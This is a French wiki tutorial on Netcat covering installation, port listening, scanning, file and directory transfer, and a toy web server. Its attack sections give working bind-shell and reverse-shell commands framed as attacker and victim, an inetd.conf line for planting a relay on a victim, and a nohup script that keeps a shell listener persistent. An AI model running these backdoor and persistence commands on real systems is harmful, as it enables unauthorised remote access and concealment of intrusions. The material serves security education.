From Aldeid

Jump to: navigation, search
Translation.png
This article needs to be translated
This article has been copied from the old wiki and is in french. It needs to be translated into english. If you wish to participate, please send a mail to (click to reveal email)
VoirAussi.png
You might also see: Socat

Contents

Netcat

Description

Netcat, souvent nommé le « couteau suisse TCP/IP » permet de créer des sockets, c'est-à-dire d’établir des connexions réseaux TCP ou UDP.

Installation

Windows

Exécutable Netcat

http://www.hackosis.com/wp-content/uploads/2008/01/nc.zip

Installation via Cygwin

  • Sélection du package Cygwin Netcat 1.10-2
  • Ou installation à partir des sources :
# wget ftp://heanet.dl.sourceforge.net/n/ne/netcat/netcat-0.7.1.tar.gz
# tar zvxf netcat-0.7.1.tar.gz
# ./compile
# make
# make install

Sous Debian

# apt-get install netcat

Utilisation

Ecoute sur un port

A partir d’un client, l’établissement d’une connexion vers un serveur (host) sur un port spécifique (port) se fait simplement :

# nc <hostname> <port>

Sur le serveur, pour écouter sur un port spécifique :

# nc –l –p <port>

Par exemple, dans un premier terminal, entrez la commande suivante (écoute sur le port 23) :

# nc –l –p 23

Dans un second terminal, entrez la commande

# nc 127.0.0.1 23

Puis entrez du texte. Celui-ci apparaît dans le premier terminal.

Info.png
Notice
Une fois que le client se déconnecte, la connexion se ferme automatiquement. L’option –l peut être remplacée par l’option –L afin de laisser la connexion ouverte, même si le client se déconnecte.

Option « detach »

Sous Windows, l’option –d permet de détacher netcat, c'est-à-dire de l’ajouter dans la liste des services actifs. Par exemple, la commande suivante, lancée sur un client Windows, permet d’ajouter un service d’écoute sur le port 1234 :

$ nc -d –L –e cmd.exe –p 1234

Il ne suffira alors, à partir du serveur, que de la ligne de commande suivante pour accéder au client :

$ netcat 192.168.182.1 10001
Microsoft Windows XP [version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\cygwin\home\a011830>

Création d'un backdoor rudimentaire

Shell

L'option -e permet de lancer des commandes via netcat. Il est ainsi aisé de créer un backdoor rudimentaire, comme le montre l'exemple qui suit.

Sur le client (victime), entrer la commande suivante :

$ nc -l -p 1234 -e /bin/sh

A partir du poste de l'attaquant, entrer la commande suivante (en adaptant l'adresse IP) :

$ nc 12.34.567.89 1234

A partir du poste de l'attaquant, il est maintenant possible d'exécuter toutes les commandes souhaitées, comme si l'on se trouvait physiquement sur la machine distante.

cd /
ls
bin
boot
cdrom
dev
etc
home
...
<^C>

Reverse-shell

Lorsqu'un système de filtrage bloque les connexions de l'extérieur, il est possible de créer un reverse-shell. Cette technique peut être mise en place grâce à Netcat.

Type Attaquant (192.168.161.1) Victime (192.168.161.129)
Shell nc 192.168.161.129 1234 nc -l -p 1234 -e /bin/sh
Reverse Shell nc -l -p 1234 nc 192.168.161.1 1234 -e /bin/sh

Avec la technique du reverse-shell, ce n'est pas l'attaquant qui se connecte à la victime, mais l'inverse. Grâce à l'option -e qui permet d'exécuter des commandes, l'attaquant peut, à partir de son terminal, exécuter des commandes distantes à partir de son poste.

Info.png
Notice
L'exécution de Netcat en mode client ou en mode d'écoute sur le poste de la victime peut s'effectuer lors d'un buffer-overflow.

Reverse-shell.png

Port Scanning

Netcat propose une option de port scanning comme le montrent les résultats suivants :

$ nc -v -w 2 -z 127.0.0.1 1-200
DNS fwd/rev mismatch: localhost != xpsp2-20cc7397e
localhost [127.0.0.1] 135 (epmap) open
localhost [127.0.0.1] 110 (pop3) open
localhost [127.0.0.1] 25 (smtp) open
Info.png
Notice
L'option -z permet d'accélérer le scan dans la mesure où aucun renseignement complémentaire au statut du port n'est affiché. Dans le cas où l'option -z n'est pas présente, des informations de version, si disponibles, sont affichées en plus de l'état des ports.
$ echo QUIT | nc -v -w 3 12.345.67.89 1-100
localhost [127.0.0.1] 80 (www) open
<b>Welcome to Apache 2.2</b>
localhost [127.0.0.1] 25 (smtp) open
localhost [127.0.0.1] 22 (ssh) open
SSH-2.0-OpenSSH_5.1p1 Debian-5
Protocol mismatch.

Transfert de fichier

L’utilisation du pipe et des redirections permet d’étendre les fonctionnalités de Netcat, comme le montrent les exemples qui suivent.

  • Dans un premier terminal, entrez :
$ nc –l –p 1234 > output.txt
  • Dans un second terminal (le fichier input.txt est supposé exister à la racine du répertoire à partir duquel la ligne de commande est lancée) :
$ cat input.txt | nc 127.0.0.1 1234 –w 10

ou

$ nc 127.0.0.1 1234 -w 10 < input.txt

Dans l’exemple ci-dessus, la commande lancée dans le premier terminal permet d’écouter sur le port 1234 et de rediriger tout ce qui est reçu vers le fichier output.txt. La commande du second terminal permet d’afficher le contenu du fichier (cat input.txt), intercepté par netcat (par l’utilisation du pipe) qui l’envoie à l’hôte 127.0.0.1 sur le port 1234. Le paramètre –w 10 permet de terminer automatiquement la connexion à la fin de l’opération (après un délai de 10 secondes).

Netcat-file-transfer.png

Transfert de répertoire

Un autre exemple pourrait consister à copier un répertoire complet en le compressant (opérations de compression/décompression intermédiaire assurée par la fonction tar).
Dans un premier terminal :

$ nc -l -p 1234 | tar xvfpz –

Dans un second terminal :

$ tar cvzfp - directory | nc -w 3 127.0.0.1 1234

Le premier terminal écoute sur le port 1234. Grâce au caractère pipe, tout ce qui arrivera sur cette connexion sera intercepté par la fonction tar qui décompressera (option xvfpz) le contenu reçu dans le répertoire courant.
Le second terminal compresse le répertoire directory et le transmet à Netcat qui établit une connexion à l’hôte local (127.0.0.1) sur le port 1234.

Se connecter à un port

Se connecter à un port ouvert permet de converser avec le service qui écoute sur ce port. Par exemple, les commandes suivantes permettent de se connecter au port 80/tcp d'un serveur Web distant, et de requêter l'URL http://12.34.567.89/admin

$ nc 12.34.567.89 80
GET /admin
<ENTER>

Fournissent le résultat suivant :

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>401 Authorization Required</title>
</head><body>
<h1>Authorization Required</h1>
<p>This server could not verify that you
are authorized to access the document
requested.  Either you supplied the wrong
credentials (e.g., bad password), or your
browser doesn't understand how to supply
the credentials required.</p>
</body></html>

Simuler un service : Serveur Web rudimentaire

L’exemple suivant montre comment utiliser netcat pour faire un serveur Web rudimentaire.
Vous avez besoin d’un fichier index.html contenant les lignes suivantes :

 <html>
   <head>
     <title>Welcome</title>
   </head>
   
   <body>
     <h1>Welcome</h1>
     <div style=background:#ff0000>Welcome to my web server</div>
   </body>
 </html>

Dans un terminal, entrez la commande suivante :

$ cat index.html | nc -v -l -p 80 -w 3

Lorsque vous appelez l’adresse http://127.0.0.1 à partir de votre navigateur, vous obtenez le résultat suivant :

Netcat socat 14.jpg
Par ailleurs, le terminal affiche la sortie suivante, correspondant à ce qu’a renvoyé le navigateur (ici Firefox). Vous pouvez vous amuser à vous connecter avec Internet Explorer ou d’autres navigateurs afin d’analyser le contenu des en-têtes renvoyés par les différents navigateurs.

listening on [any] 80 ...
DNS fwd/rev mismatch: localhost != xpsp2-efc514119
connect to [127.0.0.1] from localhost [127.0.0.1] 3955
GET / HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive

Fonction relai

Description

La fonction relai est très utilisée par les pirates. En effet, les avantages sont multiples :

  • elle permet d'obscursir l'attaque et ainsi rendre plus complexe le travail d'investigation.
  • Certains relais peuvent se trouver dans des pays où la législation ne permet pas aux investigateurs de poursuivre l'analyse.
  • Le relai peut être mis en place par un attaquant afin de passer des sytèmes de filtrage (par exemple, installer un relai dans une DMZ afin d'attaquer un hôte du réseau, dans le cas où la connexion directe à la victime est bloquée par un firewall)

Netcat permet de réaliser une telle opération, comme le montre la figure ci-contre.

Relai simple avec inetd

Netcat-relai-inetd.png

Inetd permet de lancer des services automatiquement au démarrage de l'ordinateur. Chaque ligne doit être formatée avec la syntaxe suivante :

<service_name> <sock_type> <proto> <flags> <user> <server_path> <args>

Un attaquant pourrait se servir d'une attaque sur un hôte distant (relai) afin d'ajouter la ligne suivante dans le fichier /etc/inetd.conf de la victime, automatisant ainsi l'exécution d'un relai Netcat au démarrage de la machine attaquée :

service_name sock_type proto flags  user  server_path  args
1234 stream tcp nowait nobody /usr/sbin/tcpd /bin/nc 12.345.67.89 4567

Relai simple avec mknod

Mknod permet de créer des fichiers spéciaux de type bloc ou caractère. Le commandes qui suivent, exécutées sur la machine relai, permettent de créer un fichier spécial de type First-In-First-Out (FIFO) et de l'utiliser avec Netcat afin de faire transiter des données.

$ mknod foo p
$ nc -l -p 1234 0<foo | nc 12.345.67.89 4567 1>foo

Relai persistent

Les deux relais vus précédemment sont des relais non-persistents. Cela signifie qu'en cas de clôture de la connexion par le pirate (par la commande CTRL+C), le processus du relai est supprimé. Il est possible de créer un relai persistent sous Windows, en utilisant le paramètre -L (L majuscule).

Sous Linux, ce paramètre n'est pas disponible. Néanmoins, il est possible de créer une boucle qui rend le relai persistent :

# while [ 1 ]; do nc -l -p 1234 -e /bin/sh; done
Info.png
Notice
Utilisez CTRL+Z pour stopper une telle boucle, puis quittez le terminal à partir duquel le programme a été lancé.

Cette méthode fonctionne, mais elle est liée à la session de l'utilisateur connecté. En cas de déconnexion, le programme s'arrête. Pour créer un véritable relai persistent, le programme doit être exécuté par la commande nohup afin de le rendre indépendant de la session.

Créez par exemple le programme suivant (persistent-relay.sh) :

#!/bin/sh
while [ 1 ]; do nc -l -p 1234 -e /bin/sh; done

Rendez ce script consultable et exécutable par la commande

# chmod 555 persistent-relay.sh

Enfin, appelez ce script par la commande :

# nohup ./persistent-relay.sh &
Aldeid.com • Sébastien DAMAYE • Network Security, Ethical Hacking, Network Forensics